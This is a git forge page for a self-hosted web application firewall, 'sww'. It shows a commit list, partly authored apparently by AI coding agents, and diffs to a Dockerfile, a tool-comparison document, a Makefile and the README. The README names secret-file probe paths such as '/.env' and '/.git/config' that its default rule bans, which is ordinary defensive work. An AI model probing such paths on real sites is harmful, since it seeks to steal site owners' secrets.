Author SHA1 Message Date
sneak c48393574c Core Rule Set: WordPress's ordinary requests pass by default (closes #235)
check / check (push) Successful in 4m42s
Add the ninth change: wordpress.conf switches off, per path and field, each
rule that refused ordinary WordPress 7.1.4 requests. Three groups of fields
skip four rules on system files and commands, and only the addresses of the
first group also skip 932235. Add the recorded requests, a test at the
defaults and reading bodies, and list WordPress in the README.

Model: opus-5-5 (rework); sonnet-5-5 (copied the recorded lines)
2026-11-09 10:29:36 +00:00
clawbot 719691d1e8 Name log fields, metrics and the Core Rule Set package for what they are (closes #192)
check / check (push) Failing after 3m22s
The first half of the naming audit: names now say what they are. `internal/waf` is `internal/coreruleset`. Log fields, the action `blocked_by_core_rule_set`, the metric and the alert event say Core Rule Set. Timings end `_ms`. Percentages say of what, as `rate_limit_percent` and `bytes_limit_percent`. Setting names follow in #234.

Judgement call: `blocked_by_core_rule_set`, not the audit's `core_rule_set_blocked`, to match `blocked_by_block_rule`.
Trips a reader: an existing state file holding `waf_blocked` or the anomaly scope `watch` stops the start and must be removed. `SWW_ALERT_EVENTS` listing `waf_block` must list `core_rule_set_match`.

Model: opus-5-5
2026-11-09 08:47:26 +01:00
clawbot aede434f6a Name request log actions so they say what they mean (closes #229)
check / check (push) Successful in 6m30s
The request log's `action` values now say what they mean, as sneak named them: `request_header_too_large`, `client_is_rate_limited`, `blocked_by_block_rule` and `client_denied`, with no aliases. `banned` splits into `temporarily_banned` and `permanently_banned`, by whether the ban runs out. When a permanent ban also covers a client, that ban is the one reported.

Trips a reader: a request over a rate limit stays `client_is_rate_limited` even when the ban it makes is permanent.
Disclosure: the offence key `rule_blocked` is renamed in `clients.json` too, so an existing file holding it stops the start and must be removed. Its `version` stays 1.

Model: opus-5-5
2026-11-09 06:48:26 +01:00
clawbot 6850cb0e9f Add asn= and prefix= tags from a routewatch instance (closes #204)
check / check (push) Successful in 5m0s
With `SWW_ROUTEWATCH_URL` set, a new heuristic, `routewatch_tags`, adds `asn=<number>` and `prefix=<netblock>` to a request from what a routewatch instance answers about the client. New package `internal/routewatch` asks in the background, never on a request's path, and keeps answers 1 hour in memory. The request log gains `routewatch_tags_missing`, saying why a request has none. `prefix=` works in `SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT`.

Trips a reader: a client's first request has no routewatch tags, so `prefix=` refuses from its next request after the answer comes.
Judgement call: with `SWW_LOOKUP_SOURCE=off` and `SWW_ROUTEWATCH_URL` set, an `asn=` tag no longer stops the start.

Model: opus-5-5
2026-11-09 05:47:34 +01:00
clawbot d7c62f2854 Say which bytes the byte limits count, and what passing one does (closes #203)
check / check (push) Failing after 3m48s
sneak asked for every document to be audited for sentences that do not say what they mean. The byte limits now say which bytes count (response bodies, request bodies or both, as `SWW_BYTES_COUNT` says, WebSocket traffic included) and what passing one does. Other unclear or false sentences in `README.md`, `SPEC.md`, `EVALUATION.md` and `docs/` are rewritten.

Documents only. `REPO_POLICIES.md` is shared policy text and stayed out.

Model: fable-5-1 (first audit); opus-5-5 (rework)
2026-11-09 04:03:17 +01:00
clawbot c66277b111 Request tags, with refusing and limits per tag (closes #175)
check / check (push) Failing after 5m8s
Each request gets tags, logged as `tags`: `asn=`, `country=`, one per `SWW_TAG_LISTS` list holding the client, `crowdsec`, `dnsbl=<zone>`, `abuseipdb` and `exploitsignature`. `SWW_TAG_DENY` refuses by tag and `SWW_TAG_LIMIT_PERCENT` lowers limits by tag. They replace `SWW_ASN_LIMIT_PERCENT`, `SWW_COUNTRY_LIMIT_PERCENT` and `SWW_DENIED_COUNTRIES`, with no aliases. A tag in those settings that nothing configured can give stops the start.

Judgement call: `SWW_ASN_LIMIT_PERCENT_URL` stays, its entries counting like `asn=` tags.
Judgement call: `SWW_TAG_LIMIT_PERCENT` also lowers byte limits, as the settings it replaces did.
Trips a reader: `sww_country_list_refusals_total` now counts only `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` refusals.

Model: opus-5-5
2026-11-09 03:30:49 +01:00
sneak f6435b1a73 Add make publish: build the image on the Docker host and push it to the registry
check / check (push) Successful in 3m23s
`script/publish` runs `script/docker` against the Docker host and pushes the image to the registry under four tags: the UTC date, the short commit hash, the branch name and `latest`. It refuses a working tree with uncommitted changes, since the hash tag names a commit.

Also carries sneak's `golines -m 77` line wrapping in three files, with no code change.

Unverified: a real build on the Docker host and a real push from this commit.
Deviation: sneak's FIXME comments are out, because the linter refuses them; they are #227, #228 and #229.

Model: opus-5-5
Co-authored-by: sneak <sneak@sneak.berlin>
2026-11-09 02:03:39 +01:00
clawbot 2349b2a081 discriminator: each decision heuristic is its own module (closes #195)
check / check (push) Failing after 1m53s
Each discriminator check is now a type in its own file behind one small interface, listed in `heuristics.go`. Adding a heuristic is one file and one line. Behaviour does not change.

Refusal and ban log lines gain `heuristic` and `heuristic_figures`. A ban after the answer, by `refusal_limit` or `byte_limits`, logs `after_answer_heuristic` and its figures, so one line can name both.

Deviation: four lists, not the planned three, so `refusal_limit` still bans at the decision.
Rule suppressed: `//nolint:lll` on one struct tag.

Model: opus-5-5
2026-11-09 01:14:24 +01:00
clawbot 42e06bf298 Quiet the update-alternatives man page warnings in the image build (closes #222) (#226)
check / check (push) Successful in 5m24s
xz-utils, which nix-bin depends on, links its man pages with update-alternatives when it installs, and the image's dpkg config drops man pages, so each link printed a warning. A config file re-includes only the man1 pages for this install; the same step deletes them, their dangling links in /etc/alternatives and the config file. No man page or package is added or removed.

Model: deepseek-v4-pro
2026-11-07 15:21:18 +01:00
clawbot beb503b233 Rename the program to sww and its deciding daemon to discriminator (closes #218) (#221)
check / check (push) Failing after 1m34s
2026-11-07 06:51:06 +01:00
clawbot 2e2f6f7175 Core Rule Set: gitea's ordinary requests pass by default (#208)
check / check (push) Successful in 3m29s
2026-11-07 05:21:22 +01:00
clawbot 7fed6b6d36 Remove what is about deploying behind Gitea (#210)
check / check (push) Successful in 3m30s
2026-11-07 03:52:02 +01:00
sneak f8676debda Merge branch 'main' into next
check / check (push) Successful in 5m27s
2026-11-07 02:52:20 +01:00
clawbot a41d61e9ad Install the image's Ubuntu packages from the normal mirrors (closes #190)
check / check (push) Successful in 3m14s
The image's `ca-certificates`, `nix-bin` and `runit` now come from Ubuntu's archive instead of a dated snapshot, whose service had failed image builds. apt fetches them over plain HTTP and checks each against the archive's signed package lists, so no CA certificates are borrowed from the Go image. The README, `SPEC.md` and `docs/image.md` say so; the amd64-only limit, which came from the removed hash check, is gone.

Rule cut against: `REPO_POLICIES.md` pins every external reference by hash; sneak's ruling at sneak/prompts#72 (comment) allows Ubuntu's own package index.

Model: deepseek-v4-pro (implementation), opus-5-5 (rework)
2026-11-06 19:15:28 +00:00
clawbot 84a9190d2b next into main
check / check (push) Successful in 4m1s
Merged by sneak's order of 6 November ("take the current state of smallwebwaf and get it on to main. i am going to deploy it soon in its alpha state").

Model: opus-5-5
2026-11-06 18:58:02 +01:00
sneak 1bdf66cd21 Merge pull request 'next into main' (#160) from next into main
check / check (push) Canceled after 0s
Reviewed-on: #160
2026-10-26 13:11:04 +01:00
146 changed files with 9942 additions and 6204 deletions

No files matched your search

+25 -16
View File
@@ -87,7 +87,7 @@ COPY . .
# .git present, a version that is still empty, dev or unknown fails the # .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. The no_fs_access # build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the # tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since smallwebwaf writes only to its state # system's temporary directory, since sww writes only to its state
# directory. # directory.
ARG VERSION ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
@@ -99,7 +99,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
fi; \ fi; \
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \ CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \ -ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf -o /usr/local/bin/sww ./cmd/sww
# runsvinit, the image's entrypoint, built at the last commit of its # runsvinit, the image's entrypoint, built at the last commit of its
# archived repository. It has no go.mod, and `go build` of its directory # archived repository. It has no go.mod, and `go build` of its directory
@@ -118,7 +118,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
-o /usr/local/bin/runsvinit . -o /usr/local/bin/runsvinit .
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless # The image, described under "Deployment" in SPEC.md. It runs rproxy unless
# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it. # SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
# It is the last stage, so a plain `docker build .` builds it. # It is the last stage, so a plain `docker build .` builds it.
# #
# ubuntu 26.04, 2026-09-27 # ubuntu 26.04, 2026-09-27
@@ -136,10 +136,19 @@ RUN mkdir /etc/sysusers.d \
# ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches # ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches
# them over plain HTTP and checks each one against the archive's signed # them over plain HTTP and checks each one against the archive's signed
# package lists, so no CA certificates are needed. # package lists, so no CA certificates are needed.
RUN apt-get update \ #
# nix-bin depends on xz-utils, whose install links man pages with
# update-alternatives. The image's dpkg config drops man pages, so each
# link warns. z-man, read after /etc/dpkg/dpkg.cfg.d/excludes, re-includes
# the man1 pages for this install alone; the same step deletes them again,
# so no man page or package is added.
RUN echo 'path-include=/usr/share/man/man1/*' > /etc/dpkg/dpkg.cfg.d/z-man \
&& apt-get update \
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \ && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
ca-certificates nix-bin runit \ ca-certificates nix-bin runit \
&& rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/* /etc/dpkg/dpkg.cfg.d/z-man \
&& find /usr/share/man/man1 ! -type d -delete \
&& find /etc/alternatives -type l -xtype l -delete
# Nix run by root expects a group of build users, which nix-bin does not # Nix run by root expects a group of build users, which nix-bin does not
# create; with the setting empty, root's builds run without them. # create; with the setting empty, root's builds run without them.
@@ -166,27 +175,27 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \
ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin
COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit
COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww
# 65532 is above the uids Ubuntu keeps for system users, which end at # 65532 is above the uids Ubuntu keeps for system users, which end at
# 999; useradd warns about it unless --key raises that end for this call. # 999; useradd warns about it unless --key raises that end for this call.
RUN groupadd --system --gid 65532 smallwebwaf \ RUN groupadd --system --gid 65532 sww \
&& useradd --system --key SYS_UID_MAX=65532 --uid 65532 \ && useradd --system --key SYS_UID_MAX=65532 --uid 65532 \
--gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \ --gid sww --no-create-home --shell /usr/sbin/nologin \
smallwebwaf sww
# The state files' directory, SWWAF_STATE_DIR by default, where a volume # The state files' directory, SWW_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. The run script gives it to the # is mounted to keep them across deploys. The run script gives it to the
# smallwebwaf user at each start of servewaf. # sww user at each start of discriminator.
RUN mkdir /var/lib/smallwebwaf RUN mkdir /var/lib/sww
# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile # The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it. # built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
# looks too. # looks too.
COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run COPY --chmod=755 share/sww.run /etc/service/sww/run
EXPOSE 8080 EXPOSE 8080
@@ -194,6 +203,6 @@ EXPOSE 8080
# check runs every second from the start until it first passes, for up # check runs every second from the start until it first passes, for up
# to a minute, and every 30 seconds after that. # to a minute, and every 30 seconds after that.
HEALTHCHECK --start-period=1m --start-interval=1s \ HEALTHCHECK --start-period=1m --start-interval=1s \
CMD ["/usr/local/bin/smallwebwaf", "healthcheck"] CMD ["/usr/local/bin/sww", "healthcheck"]
ENTRYPOINT ["/usr/local/bin/runsvinit"] ENTRYPOINT ["/usr/local/bin/runsvinit"]
+58 -46
View File
@@ -12,8 +12,8 @@ configured only by environment variables, that provides:
- R1: rate limits per minute, per hour and per day - R1: rate limits per minute, per hour and per day
- R2: netblocks that bypass rate limiting - R2: netblocks that bypass rate limiting
- R3: alerts on attacks through webhook, Slack or ntfy - R3: alerts on attacks through webhook, Slack or ntfy
- R4: alerts on anomalies: requests or bytes per minute or hour, for given IPs - R4: alerts on anomalies: requests made or bytes transferred per minute or
or netblocks, crossing a threshold hour, for given IPs or netblocks, crossing a threshold
- R5: temporary blocks for abusers, permanent bans for repeat offenders - R5: temporary blocks for abusers, permanent bans for repeat offenders
- R6: one or more RBLs or IP reputation APIs - R6: one or more RBLs or IP reputation APIs
- R7: AS number lookup - R7: AS number lookup
@@ -24,14 +24,19 @@ configured only by environment variables, that provides:
## Verdict ## Verdict
Nothing existing is suitable. No surveyed tool meets R8 (scaling limits by AS Nothing existing is suitable. No surveyed tool meets R8, which asks for limits
number or country) or the bytes half of R4 at all, and the tools that come scaled by AS number or country. None meets R4's alerts on bytes transferred. The
closest on the rest fail R10: they need several containers, YAML or a web UI. tools that come closest on the rest fail R10: they need several containers, YAML
The recommendation is to build a small single-binary sidecar; `SPEC.md` in this or a web UI. The recommendation is to build a small single-binary sidecar;
directory begins that spec. It reuses the mature parts of the surveyed field as `SPEC.md` in this directory begins that spec.
libraries and data sources (Coraza and the OWASP Core Rule Set for attack
detection, DNSBLs, AbuseIPDB, optionally a CrowdSec decision feed) instead of The sidecar reuses the mature parts of the surveyed field instead of
reimplementing them. reimplementing them. It takes these as libraries and data sources:
- Coraza and the OWASP Core Rule Set, for attack detection
- DNSBLs
- AbuseIPDB
- optionally, a CrowdSec decision feed
Closest existing options, and why each still falls short: Closest existing options, and why each still falls short:
@@ -45,13 +50,16 @@ Closest existing options, and why each still falls short:
external blacklist URLs, optional CrowdSec), R7 partly (AS number used for external blacklist URLs, optional CrowdSec), R7 partly (AS number used for
blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule
Set, or Coraza plugin), env-var settings. Set, or Coraza plugin), env-var settings.
- Fails: R8 (AS number and country can only allow or deny, never scale a - Fails:
limit), R4 (no volume or byte threshold alerts in the free edition; - R8: AS number and country can only allow or deny, never scale a limit.
reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6 - R4: no alerts on request-count or byte thresholds in the free edition;
it needs a `bunkerweb` container plus a `bw-scheduler` container and a reporting is a paid feature.
database, or the all-in-one image that bundles nginx, scheduler, UI and - R5: no escalation for repeat offenders.
Redis in one container. It is designed to be the front door for many - R10: since 1.6 it is not one plain sidecar. It needs a `bunkerweb`
sites, not a per-app sidecar. AGPL-3.0. container, a `bw-scheduler` container and a database, or the
all-in-one image that bundles nginx, the scheduler, the UI and Redis.
- It is designed as the proxy in front of many sites, not as a sidecar for
one app. AGPL-3.0.
- Unverified: whether several rates (minute, hour, day) can be stacked on - Unverified: whether several rates (minute, hour, day) can be stacked on
the same URL pattern; the documented design is one rate per URL pattern. the same URL pattern; the documented design is one rate per URL pattern.
- CrowdSec is the strongest detection and ban engine, but it is not a proxy. - CrowdSec is the strongest detection and ban engine, but it is not a proxy.
@@ -66,16 +74,20 @@ Closest existing options, and why each still falls short:
listed AS numbers is possible, but each is a hand-written YAML scenario, listed AS numbers is possible, but each is a hand-written YAML scenario,
it reacts after the fact by banning, and it is not an inline limiter that it reacts after the fact by banning, and it is not an inline limiter that
answers 429. answers 429.
- Fails: R10 (needs the security engine container with persistent state, log - Fails:
acquisition from traefik, a bouncer such as the traefik plugin, and YAML - R10, because it needs:
for acquisition, profiles, scenarios and notifications), bytes half of R4. - the security engine container with persistent state
- log acquisition from traefik
- a bouncer such as the traefik plugin
- YAML for acquisition, profiles, scenarios and notifications
- R4's alerts on bytes.
- CrowdSec plus traefik's own `rateLimit` middleware is the best combination - CrowdSec plus traefik's own `rateLimit` middleware is the best combination
with no new code. It gives inline limiting (one window per middleware, keyed with no new code. It gives inline limiting (one window per middleware, keyed
by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and
reputation. It still fails R8, the bytes half of R4, R1's three stacked reputation lookups. It still fails R8, R4's alerts on bytes, and R10 entirely:
windows only by chaining three middlewares per router, and R10 entirely: the the configuration lives in traefik labels and CrowdSec YAML on each host, not
configuration lives in traefik labels and CrowdSec YAML on each host, not in in one sidecar's environment. It meets R1's three windows only by chaining
one sidecar's environment. three middlewares per router.
## Candidate by candidate ## Candidate by candidate
@@ -87,10 +99,10 @@ Closest existing options, and why each still falls short:
cached, streamed decision list (recommended), standalone against the cached, streamed decision list (recommended), standalone against the
central API, or AppSec only. Supports captcha remediation. central API, or AppSec only. Supports captcha remediation.
- Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict). - Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict).
- Misses: the plugin itself does no rate limiting; R8; R4 bytes. - Misses: the plugin itself does no rate limiting; R8; R4's alerts on bytes.
- Configuration: traefik static config to load the plugin, dynamic config or - Configuration: traefik static config to load the plugin, dynamic config or
labels for the middleware, CrowdSec YAML for everything else. labels for the middleware, CrowdSec YAML for everything else.
- Sidecar fit: no. It lives inside traefik, plus a separate engine - Sidecar fit: no. It runs inside traefik and needs a separate engine
container. container.
- Maturity: widely used (about 900 stars, listed in the traefik plugin - Maturity: widely used (about 900 stars, listed in the traefik plugin
catalog, documented by CrowdSec itself), actively maintained. Traefik catalog, documented by CrowdSec itself), actively maintained. Traefik
@@ -115,7 +127,7 @@ Closest existing options, and why each still falls short:
- What it is: nginx-derived (Tengine) reverse proxy with a proprietary - What it is: nginx-derived (Tengine) reverse proxy with a proprietary
semantic detection engine and a web console. About 22,000 stars. semantic detection engine and a web console. About 22,000 stars.
- Covers: R9 well, basic per-IP rate limiting with block duration, bot - Covers: R9 well, basic per-IP rate limiting with block duration, bot
challenge, authentication gate. challenge, authentication in front of the app.
- Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert - Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert
messages, syslog forwarding and the better reputation database are paid messages, syslog forwarding and the better reputation database are paid
(Lite about 10 USD per month, Pro about 100 USD per month); the free (Lite about 10 USD per month, Pro about 100 USD per month); the free
@@ -128,7 +140,7 @@ Closest existing options, and why each still falls short:
- Coraza (`corazawaf/coraza`) and Coraza-based proxies - Coraza (`corazawaf/coraza`) and Coraza-based proxies
- What it is: a Go library that implements the ModSecurity rule language and - What it is: a Go library that implements the ModSecurity rule language and
runs the OWASP Core Rule Set. OWASP project, actively maintained, the runs the OWASP Core Rule Set. OWASP project, actively maintained, the
successor path now that ModSecurity is in maintenance only. successor to ModSecurity, which is now in maintenance only.
- Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy), - Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy),
`coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and `coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and
`coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set, `coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set,
@@ -142,7 +154,7 @@ Closest existing options, and why each still falls short:
- ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`) - ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`)
- What it is: official images of Apache or nginx with ModSecurity and the - What it is: official images of Apache or nginx with ModSecurity and the
Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`, Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`,
paranoia level, anomaly thresholds, many more). Current images carry paranoia level, anomaly thresholds, many more). Current images contain
ModSecurity 2.9.x on Apache and Core Rule Set 4.x. ModSecurity 2.9.x on Apache and Core Rule Set 4.x.
- Covers: R9, and R10 (single container, env vars, one backend). - Covers: R9, and R10 (single container, env vars, one backend).
- Misses: R1 to R8. - Misses: R1 to R8.
@@ -152,16 +164,16 @@ Closest existing options, and why each still falls short:
- Anubis (`TecharoHQ/anubis`), 1.27 current - Anubis (`TecharoHQ/anubis`), 1.27 current
- What it is: a single-binary reverse proxy that makes browsers solve a - What it is: a single-binary reverse proxy that makes browsers solve a
proof-of-work challenge before passing them to `TARGET`. Aimed at proof-of-work challenge before passing them to `TARGET`. Aimed at
scrapers, which is likely a large share of unwanted traffic on a public scrapers, which are likely a large share of the unwanted traffic on a
gitea. public code forge.
- Covers: R10 well (one container, env vars for listener, target, - Covers: R10 well (one container, env vars for listener, target,
difficulty, cookies). Policy rules can match on path, user agent, headers, difficulty, cookies). Policy rules can match on path, user agent, headers,
IP ranges, and with the vendor's hosted data service also AS number and IP ranges, and with the vendor's hosted data service also AS number and
country, and can weigh a request toward a harder challenge. country, and can weigh a request toward a harder challenge.
- Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env - Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env
vars. AS number and country matching depend on the vendor's hosted vars. AS number and country matching depend on the vendor's hosted
service. Breaks non-browser clients unless paths are exempted; for gitea, service. Breaks non-browser clients unless paths are exempted; for a code
git-over-HTTP and API paths must be allowed through by rule. forge, git-over-HTTP and API paths must be allowed through by rule.
- Maturity: very active, widely deployed on code forges since 2025. - Maturity: very active, widely deployed on code forges since 2025.
- Value here: complementary. It can be chained (traefik, then the sidecar, - Value here: complementary. It can be chained (traefik, then the sidecar,
then Anubis, then the app) if challenge pages are wanted. then Anubis, then the app) if challenge pages are wanted.
@@ -180,13 +192,13 @@ Closest existing options, and why each still falls short:
temporary ban, no escalation, state lost on traefik restart) and R2 temporary ban, no escalation, state lost on traefik restart) and R2
(allowlist). Nothing else. (allowlist). Nothing else.
- `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock - `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock
plugins (country allow or deny through an external lookup API): same plugins (country allow or deny through an external lookup API): each adds
shape, each one small feature, configured in traefik, state in memory. one small feature, is configured in traefik and keeps its state in memory.
- Sidecar fit: no; they live inside traefik. - Sidecar fit: no; they live inside traefik.
- Traefik built-in middlewares - Traefik built-in middlewares
- `rateLimit` (one average-and-burst window per middleware, optional Redis - `rateLimit` (one average-and-burst window per middleware, optional Redis
in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation
or AS number awareness. lookups or AS number lookups.
- caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x - caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x
- What it is: a Caddy module with regex rules and anomaly scoring, per-IP - What it is: a Caddy module with regex rules and anomaly scoring, per-IP
and per-path rate limiting with one configurable window, IP and DNS and per-path rate limiting with one configurable window, IP and DNS
@@ -198,12 +210,12 @@ Closest existing options, and why each still falls short:
- open-appsec (Check Point) - open-appsec (Check Point)
- Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with - Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with
a declarative policy file or the vendor's cloud console. Covers R9 only; a declarative policy file or the vendor's cloud console. Covers R9 only;
rate limiting and richer features are in paid tiers. Not a sidecar in the rate limiting and richer features are in paid tiers. It attaches to an
required sense. existing proxy, so it is not the sidecar R10 asks for.
- iocaine - iocaine
- Serves generated garbage pages to clients the fronting proxy classifies as - Serves generated garbage pages to clients the fronting proxy classifies as
scrapers. Not a limiter, WAF or ban tool; out of scope except as a scrapers. Not a limiter, WAF or ban tool; out of scope, and only of
curiosity for scraper traffic. passing interest for scraper traffic.
- Pangolin - Pangolin
- A tunnelled access platform that bundles traefik and optionally CrowdSec. - A tunnelled access platform that bundles traefik and optionally CrowdSec.
Replaces the ingress rather than adding a sidecar; out of scope. Replaces the ingress rather than adding a sidecar; out of scope.
@@ -214,17 +226,17 @@ Closest existing options, and why each still falls short:
Everyone else offers one window per rule or none. Everyone else offers one window per rule or none.
- R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins. - R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins.
- R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid). - R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid).
- R4 volume and byte anomalies: none. CrowdSec can approximate request-count - R4 alerts on request counts and bytes: none. CrowdSec can approximate alerts
anomalies with a custom scenario; nothing handles bytes. on request counts with a custom scenario; no surveyed tool alerts on bytes.
- R5 temporary then permanent: CrowdSec only. BunkerWeb has fixed or permanent, - R5 temporary then permanent: CrowdSec only. BunkerWeb's ban is either one
not both by history. fixed length or permanent, and does not change with a client's history.
- R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists). - R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists).
- R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or - R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or
deny), Anubis (hosted service). deny), Anubis (hosted service).
- R8 biased thresholds: none. - R8 biased thresholds: none.
- R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open, - R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open,
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps the standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps Coraza
first). or ModSecurity).
- R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis. - R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis.
None of these covers anything beyond its one job. None of these covers anything beyond its one job.
+7 -11
View File
@@ -1,13 +1,12 @@
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \ .PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \
run example-app gitea-requests gitea-setup hooks build run example-app
# Makefile targets are thin shims; the implementations live in script/ # Makefile targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section # per the scripts-to-rule-them-all pattern (see the Entrypoints section
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does, # of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
# which test checks. build and run are for working on the code by hand; # which test checks. build and run are for working on the code by hand;
# example-app checks the image with an app built on it; gitea-requests # example-app checks the image with an app built on it; publish builds
# reports the gitea requests the Core Rule Set refuses at the defaults; # the image on the Docker host and pushes it to the registry.
# gitea-setup checks the setup in deploy/gitea.
bootstrap: bootstrap:
@script/bootstrap @script/bootstrap
@@ -36,6 +35,9 @@ check:
docker: docker:
@script/docker @script/docker
publish:
@script/publish
hooks: hooks:
@script/install-precommit @script/install-precommit
@@ -47,9 +49,3 @@ run:
example-app: example-app:
@script/example-app @script/example-app
gitea-requests:
@script/gitea-requests
gitea-setup:
@script/gitea-setup
+322 -378
View File
@@ -7,29 +7,29 @@ requests of scrapers, scanners and other abusers before they reach an app.
## What it does ## What it does
A web application firewall reads each request on its way to a web app and A web application firewall reads each request on its way to a web app and
refuses the ones that look like abuse. `smallwebwaf` is one binary, shipped in refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
one image, with two commands that do this together: shipped in one image, with two commands that do this together:
- `smallwebwaf rproxy` is a small reverse proxy in front of one app. traefik - `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
routes to it. It asks `servewaf` about each request, passes the allowed ones it. It asks `discriminator` about each request, passes the allowed ones to the
to the app, and passes the app's answers back. It keeps nothing and never app, and passes the app's answers back. It keeps nothing and never touches
touches disk. disk.
- `smallwebwaf servewaf` decides. It runs the checks and keeps the bans, the - `sww discriminator` decides. It runs the checks and keeps the bans, the
counters and each client's history. One `servewaf` serves many sites: a client counters and each client's history. One `discriminator` serves many sites: a
banned through one site is refused on all of them, and its requests on all of client banned through one site is refused on all of them, and its requests on
them count toward one set of limits. all of them count toward one set of limits.
The site keeps answering while `servewaf` is down, slow or restarting: without The site keeps answering while `discriminator` is down, slow or restarting:
an answer in time, `rproxy` passes the request to the app. without an answer in time, `rproxy` passes the request to the app.
It protects against: It protects against:
- Scrapers that fetch every page of a site, all day. Each client gets a limit on - Scrapers that fetch every page of a site, all day. Each client gets a limit on
requests and on bytes per minute, per hour and per day. The defaults leave requests and on body bytes per minute, per hour and per day. The defaults
room for a person reading a site for hours. They catch a scraper that keeps up leave room for a person reading a site for hours. They catch a scraper that
one request every 2 seconds. A client over a limit is refused and banned: for keeps up one request every 2 seconds. A client that breaks a limit is banned:
a while at first, for three times as long at each repeat, and permanently when for a while at first, for three times as long at each repeat, and permanently
it keeps at it. when it keeps at it.
- Scanners that probe for secrets, such as `/.env` or `/.git/config`. The - Scanners that probe for secrets, such as `/.env` or `/.git/config`. The
default rule file bans such a client at its first probe, and its next request default rule file bans such a client at its first probe, and its next request
